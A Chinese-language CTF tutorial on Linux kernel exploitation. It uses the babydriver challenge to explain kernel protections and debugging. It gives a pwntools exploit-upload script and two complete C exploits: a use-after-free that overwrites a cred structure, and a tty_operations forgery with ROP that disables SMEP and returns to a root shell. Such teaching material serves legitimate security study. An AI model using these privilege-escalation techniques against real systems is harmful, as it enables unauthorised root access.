kernel pwn的入门学习
1.前置知识
1.1目标文件
kernel pwn题会提供编译好了的内核文件bzImage、文件系统镜像和qemu启动脚本,漏洞点一般位于.ko文件(驱动模块文件)中,该文件允许将内核的功能模块化, 能够方便地添加或删除内核的功能,因此这类文件是便于出题人动手脚的地方,我们要分析的就是这类二进制文件。
寻找用于ROP的gadget则要到vmlinux文件中去,vmlinux就是编译得到的linux内核文件,提供各种系统所需的核心功能。如果题目没有提供vmlinux文件,就要使用extract-vmlinux解压bzImage文件得到。
1.2 漏洞利用目标
kernel中的漏洞利用不是通过python写远程交互脚本来进行的,而是编写c程序,在其中利用系统调用与内核交互触发漏洞,最终目标是执行commit_creds(prepare_kernel_cred(0));提升进程权限后使用system("/bin/sh")开启一个shell。提权的原理是prepare_kernel_cred申请了一个新的uid与gid均为0的cred(每个进程都会分配一个cred结构体,其中保存有该进程的权限信息,uid和gid均为0说明是root权限进程),并通过commit_creds应用到当前进程。
1.3内核保护措施
kalsr:就是内核态的aslr,将加载的基地址随机化。
smep:意为管理模式执行保护,禁止处于内核态的进程执行位于用户空间的代码。用cr4寄存器中第20位来标识是否开启smep,1代表开启,0代表未开启。
smap:意为管理模式访问保护,禁止处于内核态的进程访问位于用户空间的数据。修改cr4寄存器也可以关闭。不过在5以上的linux kernel中这些SMAP/SMEP/UMIP位被固定在native_write_cr4函数中,因此不能在受支持的CPU上对该调用进行简单禁用。
1.4调试方式
在qemu的启动脚本中添加一个-s即可,这个参数的含义是开放1234端口供调试器连接。在gdb中执行target remote:1234就可以开始调试,若是返回一堆字符显示过长,输入set architecture i386:x86-64:intel指定目标cpu架构即可。
1.5 上传exp的脚本
网上找的sixstars战队dalao写的上传脚本,原理是将exp压缩后再base64编码后上传。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
context.log_level = 'debug'
cmd = '$ '
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
#os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp')
os.system('gzip -c ./exp > ./exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
#r.sendlineafter(cmd, './exp')
r.interactive()
#p = process('./startvm.sh', shell=True)
p = remote('',)
exploit(p)
2.babydriver
这道题是有名的kernel pwn入门题。首先从文件系统镜像提取出文件,查看其中的init文件。从中可知驱动文件为babydriver.ko,设备文件路径为/dev/babydev,内核版本为4.4.72。
查看qemu启动脚本可知系统开启了smep保护。
然后分析babydriver.ko。open系统调用的实现是调用kmem_cache_alloc_trace分配一块64字节的内存空间并将指针存到babydev_struct全局变量中。
ioctl系统调用实现中允许用户更改分配内存块的大小,通过释放原来的,请求一个新的内存块实现。
漏洞点位于close的系统调用实现中。在释放了内存后没有将指针清空导致的uaf。
具体的利用是开启两次babydev,由于是用全局变量来存储的指针,因此同时只能存储一个指针,这样2个文件描述符共用了一块内存空间。close掉一个文件描述符再向另一个文件描述符中写数据即可进行uaf,具体的利用方式有两种。
2.1更改cred结构体
如上文所述,cred结构体描述了一个进程的权限,我们只需要将其中的uid和gid改为0即可提升权限到root,这可以通过uaf轻松做到。在close掉了fd1之后,调用fork函数开启一个子进程,开启子进程的过程中会分配0xa8大小的内存块作为它的cred,因此在我们在close之前要先使用ioctl将内存块大小改为0xa8,然后向fd2中写入28个0即可完成提权。28个0是由cred结构体确定的,结构体构成通过https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/cred.h查询。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
在子进程中执行system("/bin/sh")就成功拿到root权限的shell。
exp:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<string.h>
#include<stdint.h>
#include<sys/ioctl.h>
int main()
{
int fd1,fd2,id;
char payload[0xa8]={0};
fd1=open("/dev/babydev",O_RDWR);
fd2=open("/dev/babydev",O_RDWR);
ioctl(fd1,65537,0xa8);
close(fd1);
id=fork();
if(id==0)
{
write(fd2,payload,28);
system("/bin/sh");
}
else
wait(NULL);
close(fd2);
return 0;
}
2.2更改tty_struct伪造tty_operations
除了更改cred之外,伪造tty_operations来进行ROP是一种更通用的方法。首先由tty_struct的组成得知tty_operations的指针位于偏移0x18处。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; // target
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
使用与上一种方法相同的方式篡改掉tty_operations指针,只不过不是fork出子进程,而是打开/dev/ptmx文件,在这个过程中会分配0x2e0大小的内存作为tty_struct。不过由于我们能控制的那块内存并不位于链表尾部,所以需要开启多个/dev/ptmx来尝试将其申请出来。我们伪造的tty_operations中的ioctl函数指针为恶意代码的地址,这样在调用ioctl时就会执行我们想要的功能,但不能直接执行commit_creds(prepare_kernel_cred(0)),这是因为我们无法控制内核栈,执行完一个函数之后就不受我们控制了。因此要先栈迁移再进行ROP,利用xchg eax,esp;ret;这个gadget将栈顶指针改为eax存储的地址,由于tty_operations的函数指针调用就是通过rax实现的,因此栈迁移后的栈顶指针指向xchg eax,esp地址的低8字节地址,这是因为xchg会将寄存器中多出来的字节清0。我们通过mmap能够分配这8字节对应的地址空间,然后在其中布置ROP链。
ROP链的构造思路是先利用mov cr4,rdi;ret;这个gadget关闭smep保护,然后返回用户空间中的提权函数,这个函数通过函数指针执行commit_creds(prepare_kernel_cred(0)),由于未开启kaslr保护,这两个函数地址可以直接在qemu虚拟机中查看/proc/kallsyms符号表得到。
然后再swapgs;ret;iretq;将进程返回到用户空间执行system("/bin/shell"),iretq需要布置的参数顺序是用户态的ip,cs,flags,sp和ss,这些参数事先通过一段内联汇编存储到程序中的变量中。
exp:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<string.h>
#include<stdint.h>
#include<sys/ioctl.h>
#include<inttypes.h>
#include<sys/mman.h>
#include<sys/types.h>
#include<sys/io.h>
#include<stdint.h>
void save_regs();
void root();
void get_shell();
unsigned long user_cs,user_ss,user_rsp,user_eflags;
char fake_procfops[1024];
struct tty_operations
{
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations *proc_fops; /* 240 8 */
/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};
int main()
{
int fd1,fd2,fd3[256],i;//0xffffffff8100008a xchg
struct tty_operations fake_ops;
char fake_tty[32],*rop;
save_regs();
fd1=open("/dev/babydev",O_RDWR);
fd2=open("/dev/babydev",O_RDWR);
ioctl(fd1,65537,0x2e0);
close(fd1);
for(i=0;i<256;i++)
{
fd3[i]=open("/dev/ptmx",O_RDWR);
}
memset(&fake_ops, 0, sizeof(fake_ops));
memset(fake_procfops, 0, sizeof(fake_procfops));
fake_ops.proc_fops=&fake_procfops;
fake_ops.ioctl=0xFFFFFFFF812D0978;
read(fd2,fake_tty,32);
*(char **)&fake_tty[24]=&fake_ops;
write(fd2,fake_tty,32);
rop=mmap(0x812D0978,0x2000,7, MAP_PRIVATE | MAP_ANONYMOUS,0,0);
printf("%p\n",rop);
*(char **)&rop[0+0x978]=0xFFFFFFFF813E7D6F;//pop rdi
*(char **)&rop[8+0x978]=0x6f0;
*(char **)&rop[16+0x978]=0xFFFFFFFF810635B4;//mov cr4,rdi;pop rbp;ret
*(char **)&rop[24+0x978]=0;
*(char **)&rop[32+0x978]=(unsigned long)root;
*(char **)&rop[40+0x978]=0xFFFFFFFF81063694;//swapgs;pop rbp;ret
*(char **)&rop[48+0x978]=0;
*(char **)&rop[56+0x978]=0xFFFFFFFF8181A797;//iretq
*(char **)&rop[64+0x978]=(unsigned long)get_shell;
*(char **)&rop[72+0x978]=user_cs;
*(char **)&rop[80+0x978]=user_eflags;
*(char **)&rop[88+0x978]=user_rsp;
*(char **)&rop[96+0x978]=user_ss;
for(i=0;i<256;i++)
{
if(fd3[i]!=-1)
ioctl(fd3[i],0,0);
printf("%d ",i);
}
close(fd2);
for(i=0;i<256;i++)
close(fd3[i]);
return 0;
}
void save_regs()
{
asm(
"movq %%cs,%0;"
"movq %%ss,%1;"
"movq %%rsp,%2;"
"pushf;"
"popq %3;"
:"=r"(user_cs),"=r"(user_ss),"=r"(user_rsp),"=r"(user_eflags)::"memory");
}
void root()
{
char* (*p_k_c)(int);
int (*c_c)(char*);
p_k_c=0xffffffff810a1810;//prepare_kernel_cred
c_c=0xffffffff810a1420;//commit_creds
c_c(p_k_c(0));
}
void get_shell()
{
system("/bin/sh");
}